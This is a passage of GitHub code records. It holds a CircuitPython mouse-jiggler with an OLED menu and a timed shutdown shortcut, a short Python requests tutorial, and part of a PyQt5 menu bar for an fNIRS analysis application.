+{"seq_id":"7424656438","text":"# Adapting the example in https://learn.adafruit.com/adafruit-oled-featherwing/python-usage\n# to use with Raspberry Pi Pico and CircuitPython\n\nimport board\nimport busio\nimport displayio\nimport terminalio\nimport adafruit_displayio_ssd1306\nfrom adafruit_display_text import label\nfrom time import sleep\nfrom analogio import AnalogIn\nimport usb_hid\nfrom adafruit_hid.mouse import Mouse\nfrom adafruit_hid.keyboard import Keyboard\nfrom adafruit_hid.keycode import Keycode\n\nyAxis = AnalogIn(board.A0)\nxAxis = AnalogIn(board.A1)\nin_min, in_max,out_min,out_max = (0,65000,-5,5)\nfilter_joystick_deadzone = lambda x: int((x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min) if abs(x - 32768) > 500 else 0\n\ndisplayio.release_displays()\ni2c = busio.I2C (scl=board.GP1, sda=board.GP0, frequency=1000000) # This RPi Pico way to call I2C\n\ndisplay_bus = displayio.I2CDisplay (i2c, device_address = 0x3C) # The address of my Board\n\ndisplay = adafruit_displayio_ssd1306.SSD1306(display_bus, width=128, height=64)\nsplash = displayio.Group()#max_size=10)\ndisplay.show(splash)\n\n\ndef selection(num):\n    for i in range(len(splash)):\n        splash.pop()\n    if num == 0:\n        color_bitmap = displayio.Bitmap(128, 20, 1) # Full screen white\n        color_palette = displayio.Palette(1)\n        color_palette[0] = 0xFFFFFF  # White\n         \n        bg_sprite = displayio.TileGrid(color_bitmap, pixel_shader=color_palette, x=0, y=17)\n        splash.append(bg_sprite)\n         \n        # Draw a smaller inner rectangle\n        inner_bitmap = displayio.Bitmap(126, 18, 1)\n        inner_palette = displayio.Palette(1)\n        inner_palette[0] = 0x000000  # Black\n        inner_sprite = displayio.TileGrid(inner_bitmap, pixel_shader=inner_palette, x=1, y=18)\n        splash.append(inner_sprite)\n    elif num == 1:\n        color_bitmap = displayio.Bitmap(128, 20, 1) # Full screen white\n        color_palette = displayio.Palette(1)\n        color_palette[0] = 0xFFFFFF  # White\n         \n        bg_sprite = displayio.TileGrid(color_bitmap, pixel_shader=color_palette, x=0, y=37)\n        splash.append(bg_sprite)\n         \n        # Draw a smaller inner rectangle\n        inner_bitmap = displayio.Bitmap(126, 18, 1)\n        inner_palette = displayio.Palette(1)\n        inner_palette[0] = 0x000000  # Black\n        inner_sprite = displayio.TileGrid(inner_bitmap, pixel_shader=inner_palette, x=1, y=38)\n        splash.append(inner_sprite)\n    text_area = label.Label(terminalio.FONT, text=\"Menu:\", color=0xFFFF00, x=2, y=5)\n    splash.append(text_area)\n    text_area1 = label.Label(terminalio.FONT, text=\"Move Cursor\", color=0xFFFF00, x=2, y=25)\n    splash.append(text_area1)\n    text_area2 = label.Label(terminalio.FONT, text=\"Turn Off Machine\", color=0xFFFF00, x=2, y=45)\n    splash.append(text_area2)\n\ndef timeSelect(num):\n    for i in range(len(splash)):\n        splash.pop()\n    text_area = label.Label(terminalio.FONT, text=\"Timer:\", color=0xFFFF00, x=2, y=5)\n    splash.append(text_area)\n    text_area2 = label.Label(terminalio.FONT, text=str(num)+\"  min\", color=0xFFFF00, x=2, y=25)\n    splash.append(text_area2)\n\ndef timer(num):\n    for i in range(len(splash)):\n        splash.pop()\n    color_bitmap = displayio.Bitmap(130, 100, 1) # Full screen white\n    color_palette = displayio.Palette(1)\n    color_palette[0] = 0xFFFFFF  # White\n         \n    bg_sprite = displayio.TileGrid(color_bitmap, pixel_shader=color_palette, x=0, y=0)\n    splash.append(bg_sprite)\n         \n    # Draw a smaller inner rectangle\n    inner_bitmap = displayio.Bitmap(126, 62, 1)\n    inner_palette = displayio.Palette(1)\n    inner_palette[0] = 0x000000  # Black\n    inner_sprite = displayio.TileGrid(inner_bitmap, pixel_shader=inner_palette, x=1, y=1)\n    splash.append(inner_sprite)\n        \n    text_area2 = label.Label(terminalio.FONT,scale=2, text=str(num)+\"  sec\", color=0xFFFF00, x=40, y=30)\n    splash.append(text_area2)\n    \ndef done():\n    for i in range(len(splash)):\n        splash.pop()\n    color_bitmap = displayio.Bitmap(130, 100, 1) # Full screen white\n    color_palette = displayio.Palette(1)\n    color_palette[0] = 0xFFFFFF  # White\n         \n    bg_sprite = displayio.TileGrid(color_bitmap, pixel_shader=color_palette, x=0, y=0)\n    splash.append(bg_sprite)\n         \n    # Draw a smaller inner rectangle\n    inner_bitmap = displayio.Bitmap(126, 62, 1)\n    inner_palette = displayio.Palette(1)\n    inner_palette[0] = 0x000000  # Black\n    inner_sprite = displayio.TileGrid(inner_bitmap, pixel_shader=inner_palette, x=1, y=1)\n    splash.append(inner_sprite)\n        \n    text_area2 = label.Label(terminalio.FONT,scale=2, text=\"Done\", color=0xFFFF00, x=40, y=30)\n    splash.append(text_area2)\n\n    \noldx = -2\noldy = 2\nmax_shake_minutes = 240\nmove_distance = 100\nmouse_pause = .5\nloop_sleep = .4\nmenu = True\njiggle = False\nshutdown = False\n\nmouse = Mouse(usb_hid.devices)\nkbd = Keyboard(usb_hid.devices)\n\nsel = 0\nopt = 0\nselection(0)\n\nwhile True:\n    x_offset = filter_joystick_deadzone(xAxis.value) * -1 #Invert axis\n    y_offset = filter_joystick_deadzone(yAxis.value)\n    if menu:\n        if y_offset > oldy:\n            if opt == 1:\n                opt -= 1\n            else:\n                opt += 1\n            selection(opt)\n            print(\"up\")\n        elif y_offset < oldy:\n            if opt == 1:\n                opt -= 1\n            else:\n                opt += 1\n            selection(opt)\n            print(\"down\")\n        elif x_offset > oldx:\n            menu = False\n            timeSelect(sel)\n            print(\"right\")\n        elif x_offset < oldx:\n            print(\"left\")\n    else:\n        if y_offset > oldy:\n            sel+=1\n            timeSelect(sel)\n            print(\"up\")\n        elif y_offset < oldy:\n            if sel > 0:\n                sel-=1\n            timeSelect(sel)\n            print(\"down\")\n        elif x_offset > oldx:\n            if sel > 0:\n                if opt == 0:\n                    jiggle = True\n                else:\n                    shutdown = True\n            #selection(opt)\n            print(\"right\")\n        elif x_offset < oldx:\n            menu = True\n            selection(opt)\n            print(\"left\")\n    if jiggle:\n        sleep(1)\n        print(\"jiggle\")\n        jiggle = False\n        for i in range(sel*60):\n            mouse.move(x=move_distance)\n            sleep(mouse_pause)\n            mouse.move(x=-1 * move_distance)\n            sleep(mouse_pause)\n            timer(sel*60-i)\n        done()\n        sleep(2)\n        selection(opt)\n    elif shutdown:\n        sleep(1)\n        print(\"shutdown\")\n        shutdown = False\n        for i in range(sel*60):\n            mouse.move(x=move_distance)\n            sleep(mouse_pause)\n            mouse.move(x=-1 * move_distance)\n            sleep(mouse_pause)\n            timer(sel*60-i)\n        done()\n        print('pressed')\n        kbd.press(Keycode.WINDOWS, Keycode.X)\n        kbd.release_all()\n        kbd.press(Keycode.U)\n        kbd.release_all()\n        kbd.press(Keycode.U)\n        #kbd.press(Keycode.POWER)\n        sleep(1)\n        print('released')\n        kbd.release_all()\n        \n    \n    #oldx = x_offset\n    #oldy = y_offset\n    sleep(0.3)\n    print(x_offset, y_offset)\n    #print(xAxis.value,yAxis.value)\n    #selection(0)\n    #sleep(1)\n    #selection(1)\n    #sleep(1)\n#     timeSelect()\n#     sleep(1)\n\n","repo_name":"Samimnif/Portfolio-Personal-Projects","sub_path":"Mouse Jiggler CircuitPython/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":7328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6802445921","text":"#https://www.w3schools.com/python/ref_requests_response.asp\r\n#Python requests.Response Object 請求。回應物件\r\n#Make a request to a web page, and return the status code:\r\n#向網頁發出請求，並返回狀態代碼：\r\nimport requests\r\nx = requests.get('https://w3schools.com')\r\nprint(x.status_code)\r\n#Definition and Usage 定義和用法\r\n#The requests.Response() Object contains the server's response to the HTTP request.\r\n#物件包含伺服器對 HTTP 請求的回應。requests.Response()\r\n#Properties and Methods 屬性和方法\r\n#Property/Method：Description\r\n#iter_content()：Iterates over the response\r\n#迴圈訪問回應\r\nimport requests\r\nurl = 'https://www.w3schools.com/python/demopage.htm'\r\nx = requests.get(url)\r\n#return an iterator, one item for each character:\r\nprint(x.iter_content())\r\n#looping through the iterator:\r\nfor c in x.iter_content():\r\n  print(c)\r\n","repo_name":"Bill640616Chen/python","sub_path":"w3-module_Response Object＿iter_content.py","file_name":"w3-module_Response Object＿iter_content.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"31132559798","text":"from PyQt5 import QtWidgets as qtw\nfrom PyQt5 import QtCore as qtc\nimport os\nimport webbrowser\nimport json\nfrom data_sharing_objects.data_singleton import Data\nfrom data_sharing_objects.status_singleton import Status\n\n\nclass MenuBar(qtw.QMenuBar):\n    '''\n    Class containing all the menu bar widgets and all its features\n    Inherited from QMenuBar\n\n    --------\n    Methods:\n    --------\n\n    file_menu(self)\n    meas_data_menu(self)\n    user_settings_menu(self)\n    grand_average_menu(self)\n    statistics_menu(self)\n    open_path(self)\n    update_enable_clear(self, enable)\n    ttest_dialog(self)\n    get_filename_for_ttest(self)\n    show_ttest_output(self, ttest_output)\n    save_settings_as(self, properties)\n    load_settings(self)\n    prepare_for_ga_start(self)\n    prepare_for_ga_stop(self)\n    get_analysis_path(self)\n    get_hdr_file(self)\n    get_xdf_file(self)\n    def_conditions(self)\n    input_cond_and_marker(self, number)\n    create_new_cond_and_marker\n    cancel_cond_dialog(self)\n    communicate_condition_and_marker(self, condition, marker)\n    show_cond_marker_warning(self, number)\n    def_ROIs_dialog(self)\n    input_rois(self, number)\n    create_new_rois(self, roi, num)\n    cancel_roi_dialog(self)\n    show_roi_warning(self, number)\n\n    '''\n    data = Data()\n    status = Status()\n    start_path = os.path.dirname(os.path.realpath(__file__))\n    data.add(nica_directory_path=start_path)\n\n    submit_hdr_file = qtc.pyqtSignal(str)\n    submit_xdf_files = qtc.pyqtSignal(list)\n    submit_analysis_path = qtc.pyqtSignal(str)\n    submit_status = qtc.pyqtSignal(bool)\n    submit_condition_and_marker_to_gui = qtc.pyqtSignal(list, list)\n    submit_cond_and_marker = qtc.pyqtSignal(object, object)\n    submit_markers = qtc.pyqtSignal(dict)\n    submit_cond_to_basics_gb = qtc.pyqtSignal(list, list)\n    submit_available_conditions = qtc.pyqtSignal(dict)\n    # submit_close_all_wins_clicked = qtc.pyqtSignal(bool)\n\n    submit_loaded_nr_trials = qtc.pyqtSignal(str)\n    submit_loading_settings_activated = qtc.pyqtSignal(bool)\n    submit_loaded_available_conditions_and_markers_to_basics_gb = qtc.pyqtSignal(list, list)\n    submit_loaded_available_conditions_to_properties = qtc.pyqtSignal(dict)\n    submit_loaded_available_markers_to_properties = qtc.pyqtSignal(dict)\n    submit_loaded_signal_imaging = qtc.pyqtSignal(str)\n    submit_loaded_chosen_condition = qtc.pyqtSignal(str)\n    submit_loaded_probe_set = qtc.pyqtSignal(str)\n    submit_loaded_nr_trials = qtc.pyqtSignal(str)\n    submit_loaded_task_name = qtc.pyqtSignal(str)\n    submit_loaded_mayer_waves_source = qtc.pyqtSignal(str)\n    submit_loaded_sig_analysis_method = qtc.pyqtSignal(str)\n    submit_loaded_correction_mode = qtc.pyqtSignal(str)\n    submit_loaded_baseline = qtc.pyqtSignal(bool)\n    submit_loaded_notch = qtc.pyqtSignal(bool)\n    submit_loaded_low_pass = qtc.pyqtSignal(bool)\n    submit_loaded_cut_off_frequency = qtc.pyqtSignal(str)\n    submit_loaded_mayer_lower = qtc.pyqtSignal(str)\n    submit_loaded_mayer_upper = qtc.pyqtSignal(str)\n    submit_loaded_mayer_corr_band = qtc.pyqtSignal(str)\n    submit_loaded_resp_lower = qtc.pyqtSignal(str)\n    submit_loaded_resp_upper = qtc.pyqtSignal(str)\n    submit_loaded_resp_corr_band = qtc.pyqtSignal(str)\n    submit_loaded_if_chans_excl_to_artebox = qtc.pyqtSignal(bool)\n    submit_loaded_excl_channels = qtc.pyqtSignal(list)\n    submit_loaded_if_chans_disp_to_artebox = qtc.pyqtSignal(bool)\n    submit_loaded_disp_channels = qtc.pyqtSignal(list)\n    submit_loaded_task_length = qtc.pyqtSignal(str)\n    submit_loaded_pre_task_length = qtc.pyqtSignal(str)\n    submit_loaded_post_task_length = qtc.pyqtSignal(str)\n    submit_loaded_marker_offset = qtc.pyqtSignal(bool)\n    submit_loaded_excl_trials_checked = qtc.pyqtSignal(bool)\n    submit_loaded_excluded_trials_to_properties = qtc.pyqtSignal(list)\n    submit_loaded_optode_failure_checked = qtc.pyqtSignal(bool)\n    submit_loaded_optode_failure_val_to_properties = qtc.pyqtSignal(dict)\n    submit_loaded_optode_failure_list_to_properties = qtc.pyqtSignal(dict)\n    submit_loaded_gen_biosig_figures = qtc.pyqtSignal(bool)\n    submit_loaded_gen_spectra_figures = qtc.pyqtSignal(bool)\n    submit_loaded_gen_single_conc_ch_figures = qtc.pyqtSignal(bool)\n    submit_loaded_gen_std_plot = qtc.pyqtSignal(bool)\n    submit_loaded_freq_limit_spec_figures = qtc.pyqtSignal(str)\n    submit_loaded_lower_spectra = qtc.pyqtSignal(str)\n    submit_loaded_upper_spectra = qtc.pyqtSignal(str)\n\n    ### Grand Average\n    submit_ga_status = qtc.pyqtSignal(bool)\n    submit_ga_status_to_properties = qtc.pyqtSignal(dict)\n    submit_delete_ga_status_to_properties = qtc.pyqtSignal(str)\n    submit_status_changed = qtc.pyqtSignal(bool)\n    submit_rois_to_properties = qtc.pyqtSignal(dict)\n    submit_delete_rois_to_properties = qtc.pyqtSignal(str)\n    submit_set_initial_settings = qtc.pyqtSignal()\n\n    ### T-Test\n    submit_filename_to_ttest = qtc.pyqtSignal(str)\n\n    def __init__(self, *args, **kwargs):\n        super(MenuBar, self).__init__(*args, **kwargs)\n        self.file_menu()\n        self.meas_data_menu()\n        self.user_settings_menu()\n        self.grand_average_menu()\n        self.statistics_menu()\n\n    def file_menu(self):\n        '''\n        Defines File menu with features 'Select Analysis Path', 'Open Analysis Path', 'Close all Figures' and 'Close GUI'\n        'Close all Figures' is still enabled, because plots are not shown during analysis\n        '''\n        self.file = qtw.QMenu('File')\n        self.addMenu(self.file)\n        self.select_analysis_path_action = qtw.QAction('Select Analysis Path')\n        self.file.addAction(self.select_analysis_path_action)\n        self.select_analysis_path_action.triggered.connect(self.get_analysis_path)\n        self.open_analysis_path = qtw.QAction('Open Analysis Path')\n        self.file.addAction(self.open_analysis_path)\n        self.open_analysis_path.setEnabled(False)\n        self.open_analysis_path.triggered.connect(self.open_path)\n        self.close_all_figures = qtw.QAction('Close all Figures')\n        self.close_all_figures.setEnabled(False)\n        self.file.addAction(self.close_all_figures)\n        # self.close_all_figures.triggered.connect(self.close_all_windows)\n        self.close_gui = qtw.QAction('Close GUI')\n        self.file.addAction(self.close_gui)\n\n    def meas_data_menu(self):\n        '''\n        Defines Measurement Data menu with features 'Load' (HDR File, XDF File(s)), 'Clear' and 'Define Conditions'\n        '''\n        self.measurement_data = qtw.QMenu('Measurement Data')\n        self.addMenu(self.measurement_data)\n        self.load_measdata = qtw.QMenu('Load')\n        self.measurement_data.addMenu(self.load_measdata)\n        self.hdr_file_action = qtw.QAction('HDR File')\n        self.xdf_file_action = qtw.QAction('XDF File(s)')\n        self.load_measdata.addAction(self.hdr_file_action)\n        self.hdr_file_action.triggered.connect(self.get_hdr_file)\n        self.load_measdata.addAction(self.xdf_file_action)\n        self.xdf_file_action.triggered.connect(self.get_xdf_file)\n        self.clear = qtw.QAction('Clear')\n        self.clear.setEnabled(False)\n        self.measurement_data.addAction(self.clear)\n        self.def_conditions_action = qtw.QAction('Define Conditions')\n        self.def_conditions_action.triggered.connect(self.def_conditions)\n        self.measurement_data.addAction(self.def_conditions_action)\n\n    def user_settings_menu(self):\n        '''\n        Defines User Settings menu with features 'Save as' and 'Load'\n        '''\n        self.user_settings = qtw.QMenu('User Settings')\n        self.addMenu(self.user_settings)\n        self.save_as = qtw.QAction('Save as')\n        self.load = qtw.QAction('Load')\n        self.user_settings.addAction(self.save_as)\n        self.user_settings.addAction(self.load)\n        self.load.triggered.connect(self.load_settings)\n\n    def grand_average_menu(self):\n        '''\n        Defines Grand Average menu with features 'Define ROIs', 'Start' and 'Stop'\n        '''\n        self.grand_average = qtw.QMenu('Grand Average')\n        self.addMenu(self.grand_average)\n        self.define_ROIs = qtw.QAction('Define ROIs')\n        self.define_ROIs.setEnabled(False)\n        self.start = qtw.QAction('Start')\n        self.stop = qtw.QAction('Stop')\n        self.stop.setEnabled(False)\n        self.grand_average.addAction(self.define_ROIs)\n        self.grand_average.addAction(self.start)\n        self.start.triggered.connect(self.prepare_for_ga_start)  # disable all settings\n        self.grand_average.addAction(self.stop)  # reactivate old properties, delete properties_ga\n        self.stop.triggered.connect(self.prepare_for_ga_stop)\n        self.define_ROIs.triggered.connect(self.def_ROIs_dialog)\n\n    def statistics_menu(self):\n        '''\n        Defines Statistics menu with features 't-test'\n        '''\n        self.statistics = qtw.QMenu('Statistics')\n        self.addMenu(self.statistics)\n        self.ttest = qtw.QAction('t-test')\n        # self.anova = qtw.QAction('ANOVA')\n        self.statistics.addAction(self.ttest)\n        self.ttest.triggered.connect(self.ttest_dialog)\n        # self.staticitis.addAction(self.anova)\n\n    @qtc.pyqtSlot()\n    def open_path(self):\n        '''\n        Opens selected analysis path if one exists\n        '''\n        if hasattr(self.data, 'analysis_path'):\n            path = self.data.analysis_path\n            webbrowser.open('file:///' + path)\n        elif hasattr(self.data, 'analysis_path_main'):\n            path = self.data.analysis_path_main\n            webbrowser.open('file:///' + path)\n        else:\n            return\n\n    @qtc.pyqtSlot(bool)\n    def update_enable_clear(self, enable):\n        '''\n        Allows if feature 'Clear' is enabled or not\n        @param enable: Bool in order to obtain if files are selected and therefore 'Clear' can be enabled\n        '''\n        if enable:\n            self.clear.setEnabled(True)\n        else:\n            self.clear.setEnabled(False)\n\n    @qtc.pyqtSlot()\n    def ttest_dialog(self):\n        '''\n        Opens the dialog for performing a modified t-test\n        Tries first if a file is ready to load from a directly previously performed single analysis. If not,\n        it asks for loading the file.\n        '''\n        try:\n            filename = os.path.join(self.data.analysis_path, self.data.file_name + '_NIRx.pickle')\n            ask = qtw.QMessageBox()\n            ask.setIcon(qtw.QMessageBox.Question)\n            ask.setText('Do you want do use the existing data file?')\n            ask.setInformativeText('Press Ok if yes, Press Cancel if not')\n            ask.setStandardButtons(qtw.QMessageBox.Ok | qtw.QMessageBox.Cancel)\n            response = ask.exec_()\n            if response == ask.Ok:\n                self.submit_filename_to_ttest.emit(filename)\n            elif response == ask.Cancel:\n                self.get_filename_for_ttest()\n        except:\n            self.get_filename_for_ttest()\n\n    def get_filename_for_ttest(self):\n        '''\n        Gets the filename of the desired file and submits the name to model_part.single_t_test(fname)\n        '''\n        filename, _ = qtw.QFileDialog.getOpenFileName(self, 'Select a pickle-File', '', 'pickle files (*.pickle)')\n        if filename:\n            self.submit_filename_to_ttest.emit(filename)\n\n    @qtc.pyqtSlot(list)\n    def show_ttest_output(self, ttest_output):\n        '''\n        Displays a short summary of the t-test results directly to the user inside the GUI\n        @param ttest_output: list including the output results\n        '''\n        self.tt = qtw.QDialog()\n        outer_layout = qtw.QVBoxLayout()\n        outer_layout.setSpacing(5)\n        self.tt.setLayout(outer_layout)\n        tt_text = qtw.QTextEdit()\n        tt_text.setReadOnly(True)\n        for i in range(len(ttest_output)):\n            tt_text.append(ttest_output[i])\n        outer_layout.addWidget(tt_text)\n        self.tt.exec_()\n\n    '''def close_all_windows(self):\n        plt.close(all)'''\n\n    @qtc.pyqtSlot(object)\n    def save_settings_as(self, properties):\n        '''\n        Saves the set settings to a json file.\n        @param properties: dict object including all defined settings\n        '''\n        self.fname, _ = qtw.QFileDialog.getSaveFileName(self, 'Save File', '', 'JSON (.json)')\n        if not self.fname.endswith('.json'):\n            self.fname = self.fname + '.json'\n        if self.fname is not '' or self.fname is not \"\":\n            open_file = open(self.fname, \"w\")\n            json.dump(properties, open_file, indent=4)\n            open_file.close()\n\n    @qtc.pyqtSlot()\n    def load_settings(self):\n        '''\n        Loads saved settings from a json file and sets all parameters in the Settings Groupbox\n        '''\n        fname, _ = qtw.QFileDialog.getOpenFileName(self, 'Select a JSON-File', '', 'JSON Files (*.json)')\n        if fname:\n            with open(fname) as f:\n                properties = json.load(f)\n\n            self.submit_loaded_available_conditions_and_markers_to_basics_gb.emit(properties['available_conditions'],\n                                                                                  properties['condition_markers'])\n            # the next two signals need to be emitted separately to the properties object in NICA_GUI, because of the input dialog, otherwise this wouldn't work\n            self.submit_loaded_available_conditions_to_properties.emit(\n                {'available_conditions': properties['available_conditions']})  # emit to properties\n            self.submit_loaded_available_markers_to_properties.emit(\n                {'condition_markers': properties['condition_markers']})  # emit to properties\n\n            self.submit_loaded_signal_imaging.emit(properties['signal_imaging'])\n            self.submit_loaded_chosen_condition.emit(properties['chosen_condition'])\n            self.submit_loaded_probe_set.emit(properties['probe_set'])\n            self.submit_loaded_nr_trials.emit(str(properties['nr_trials']))\n            self.submit_loaded_task_name.emit(properties['task_name'])\n            self.submit_loaded_mayer_waves_source.emit(properties['mayer_waves_source'])\n            self.submit_loaded_sig_analysis_method.emit(properties['signal_analysis_method'])\n            self.submit_loaded_correction_mode.emit(properties['correction_mode'])\n            self.submit_loaded_baseline.emit(properties['baseline'])\n            self.submit_loaded_notch.emit(properties['notch'])\n            self.submit_loaded_low_pass.emit(properties['low_pass'])\n            self.submit_loaded_cut_off_frequency.emit(str(properties['cut_off_frequency']))\n            self.submit_loaded_mayer_lower.emit(str(properties['mayer_lower']))\n            self.submit_loaded_mayer_upper.emit(str(properties['mayer_upper']))\n            self.submit_loaded_mayer_corr_band.emit(str(properties['mayer_corr_band']))\n            self.submit_loaded_resp_lower.emit(str(properties['resp_lower']))\n            self.submit_loaded_resp_upper.emit(str(properties['resp_upper']))\n            self.submit_loaded_resp_corr_band.emit(str(properties['resp_corr_band']))\n            # for excluded channels: list needs to be sorted, connect to properties and get_loaded_channels_excluded\n\n            if len(properties['excluded_channels']) is not 0:\n                self.submit_loaded_if_chans_excl_to_artebox.emit(True)\n                self.submit_loaded_excl_channels.emit(properties['excluded_channels'])\n            else:\n                self.submit_loaded_if_chans_excl_to_artebox.emit(False)\n                self.submit_loaded_excl_channels.emit([])\n\n            # for displayed channels:list needs to be sorted, connect to properties and get_loaded_channels_displayed\n            if len(properties['displayed_channels']) is not 0:\n                self.submit_loaded_if_chans_disp_to_artebox.emit(True)\n                self.submit_loaded_disp_channels.emit(properties['excluded_channels'])\n            else:\n                self.submit_loaded_if_chans_disp_to_artebox.emit(False)\n                self.submit_loaded_disp_channels.emit([])\n\n            self.submit_loaded_task_length.emit(str(properties['task_length']))\n            self.submit_loaded_pre_task_length.emit(str(properties['pre_task_length']))\n            self.submit_loaded_post_task_length.emit(str(properties['post_task_length']))\n            self.submit_loaded_marker_offset.emit(properties['marker_offset'])\n            if len(properties['excluded_trials']) is not 0:\n                self.submit_loaded_excl_trials_checked.emit(True)  # add to checkbox\n                self.submit_loaded_excluded_trials_to_properties.emit(\n                    properties['excluded_trials'])  ## set check True if not empty\n            else:\n                self.submit_loaded_excl_trials_checked.emit(False)  # add to checkbox\n                self.submit_loaded_excluded_trials_to_properties.emit([])  # connect to properties\n\n            if properties['optode_failure_val'] is True:\n                self.submit_loaded_optode_failure_checked.emit(True)  # emit to checkbox\n                self.submit_loaded_optode_failure_val_to_properties.emit(\n                    {'optode_failure_val': properties['optode_failure_val']})  # emit to properties\n                self.submit_loaded_optode_failure_list_to_properties.emit(\n                    {'optode_failure_list': properties['optode_failure_list']})  # emit to properties\n            else:\n                self.submit_loaded_optode_failure_checked.emit(False)  # emit to checkbox\n                self.submit_loaded_optode_failure_val_to_properties.emit({'optode_failure_val': False})  # emit False\n                self.submit_loaded_optode_failure_list_to_properties.emit(\n                    {'optode_failure_list': [[], [[]]]})\n\n            self.submit_loaded_gen_biosig_figures.emit(properties['generate_biosig_figures'])\n            self.submit_loaded_gen_spectra_figures.emit(properties['generate_spectra_figures'])\n            self.submit_loaded_gen_single_conc_ch_figures.emit(properties['generate_single_conc_change_figures'])\n            self.submit_loaded_gen_std_plot.emit(properties['generate_std_plot'])\n            self.submit_loaded_freq_limit_spec_figures.emit(str(properties['freq_limit_spectra_figures']))\n            self.submit_loaded_lower_spectra.emit(str(properties['conc_range_lower']))\n            self.submit_loaded_upper_spectra.emit(str(properties['conc_range_upper']))\n\n    @qtc.pyqtSlot()\n    def prepare_for_ga_start(self):\n        '''\n        Prepares everything inside the GUI to allow a Grand Average analysis in order to communicate that no single\n        analysis is performed, but GA analysis\n        '''\n        self.load_measdata.setEnabled(False)\n        if hasattr(self.status, 'analysis_path_main'):\n            self.status.delete_item('analysis_path_main')\n            self.data.delete_item('analysis_path_main')\n        if hasattr(self.data, 'analysis_path'):\n            self.data.delete_item('analysis_path')\n        self.define_ROIs.setEnabled(True)\n        self.stop.setEnabled(True)\n        self.status.add(grand_average=True)\n        self.submit_ga_status.emit(True)\n        self.submit_ga_status_to_properties.emit({'grand_average': True})\n        self.submit_status_changed.emit(True)\n\n    @qtc.pyqtSlot()\n    def prepare_for_ga_stop(self):\n        '''\n        Prepares everything to stop the Grand Average and allow again a single analysis.\n        Deletes all attributes of the data object, created at Grand Average analysis.\n        '''\n        if hasattr(self.data, 'analysis_path_main'):\n            self.data.delete_item('analysis_path_main')\n        if hasattr(self.data, 'analysis_path_ga'):\n            self.data.delete_item('analysis_path_ga')\n        if hasattr(self.data, 'analysis_path_cond'):\n            self.data.delete_item('analysis_path_cond')\n        if hasattr(self.status, 'grand_average'):\n            self.status.delete_item('grand_average')\n        if hasattr(self.data, 'filenames_ga'):\n            self.data.delete_item('filenames_ga')\n        if hasattr(self.data, 'analysis_path'):\n            self.data.delete_item('analysis_path')\n        self.submit_ga_status.emit(\n            False)  # Todo: connect to settings gb and probably to NICA_GuI to distinghuish between properties\n        self.load_measdata.setEnabled(True)\n        self.submit_delete_ga_status_to_properties.emit('grand_average')\n        self.submit_delete_rois_to_properties.emit('grand_average_rois')\n        self.submit_status_changed.emit(True)\n        self.stop.setEnabled(False)\n\n    @qtc.pyqtSlot()\n    def get_analysis_path(self):\n        '''\n        Gets the analysis path and adds it to data object\n        If no previous analysis path is chosen it opens the file dialog in the NICApy directory path\n        Submits the analysis path to loadfiles.set_analysis_path in nica_ui.py\n        '''\n        start_path = os.path.dirname(os.path.realpath(__file__))\n        folder_name = qtw.QFileDialog.getExistingDirectory(self, 'Select a Directory for your Analysis Files:',\n                                                           start_path, qtw.QFileDialog.ShowDirsOnly)\n        self.data.add(nica_directory_path=start_path)\n        self.status.add(analysis_path=True)\n        self.open_analysis_path.setEnabled(True)\n        self.submit_analysis_path.emit(folder_name)\n\n    @qtc.pyqtSlot()\n    def get_hdr_file(self):\n        '''\n        Gets hdr file name and submits it to load_files in nica_ui.py\n        '''\n        # check if attributes exist, if attribute exists and is empty, then problem\n        if hasattr(self.data, 'temp_path_hdr'):\n            temporary_path = self.data.temp_path_hdr\n        elif hasattr(self.data, 'temp_path_xdf'):\n            temporary_path = self.data.temp_path_xdf\n        elif hasattr(self.data, 'analysis_path_main'):\n            temporary_path = self.data.analysis_path_main\n        else:\n            temporary_path = self.data.nica_directory_path\n        hdr_file, _ = qtw.QFileDialog.getOpenFileName(self, 'Select a HDR File', temporary_path, 'HDR Files (*.hdr)')\n        # to check if ok or cancel pressed\n        if hdr_file:\n            self.submit_hdr_file.emit(hdr_file)\n\n    @qtc.pyqtSlot()\n    def get_xdf_file(self):\n        '''\n        Gets xdf file name and submits it to load_files in nica_ui.py\n        '''\n        if hasattr(self.data, 'temp_path_xdf'):\n            temporary_path = self.data.temp_path_xdf\n        elif hasattr(self.data, 'temp_path_hdr'):\n            temporary_path = self.data.temp_path_hdr\n        elif hasattr(self.data, 'analysis_path_main'):\n            temporary_path = self.data.analysis_path_main\n        else:\n            temporary_path = self.data.nica_directory_path\n\n        xdf_files, _ = qtw.QFileDialog.getOpenFileNames(self, 'Please select your XDF File(s)', temporary_path,\n                                                        'XDF Files (*.xdf)')\n        # to check if ok or cancel pressed\n        if xdf_files:\n            self.submit_xdf_files.emit(xdf_files)\n\n    @qtc.pyqtSlot()\n    def def_conditions(self):\n        '''\n        Opens dialogs to define the number of conditions used during an experiment\n        '''\n        get_num_conds = qtw.QInputDialog()\n        number, ok_pressed = get_num_conds.getInt(self, 'Define Conditions', 'Number of Conditions')\n\n        if ok_pressed and number != 0:\n            self.input_cond_and_marker(number)\n\n        elif ok_pressed and number == 0:\n            cond_warning = qtw.QMessageBox(qtw.QMessageBox.Warning, 'Input Warning', 'Please enter an integer number!')\n            cond_warning.exec_()\n            print('No condition specified.')\n\n    def input_cond_and_marker(self, number):\n        '''\n        Creates the dialog for input the condition and condition marker definition according the defined number in\n        def_conditions()\n        @param number: number of used conditions during the measurement defined in def_conditions()\n        @return:\n        '''\n        self.conditions = qtw.QDialog()\n        outer_layout = qtw.QVBoxLayout()\n        outer_layout.setSpacing(5)\n        self.ok_button = qtw.QPushButton('Ok')\n        self.cancel_button = qtw.QPushButton('Cancel')\n        self.conditions.setLayout(outer_layout)\n        layout_idx = 0\n        self.condition_list = []\n        self.marker_list = []\n        for num in range(number):\n            self.condition_list.append(qtw.QLineEdit())\n            self.marker_list.append(qtw.QLineEdit())\n\n        for indx in range(number):\n            condition_name = qtw.QLabel('Name Condition %s' % str(indx + 1))\n            enter_name = self.condition_list[indx]\n            enter_name.setStyleSheet('min-height: 15px; max-height: 15px')\n            marker_condition = qtw.QLabel('Marker Nr. Condtion %s' % str(indx + 1))\n            enter_marker = self.marker_list[indx]\n            enter_marker.setStyleSheet('min-height: 15px; max-height: 15px')\n            outer_layout.addWidget(condition_name, 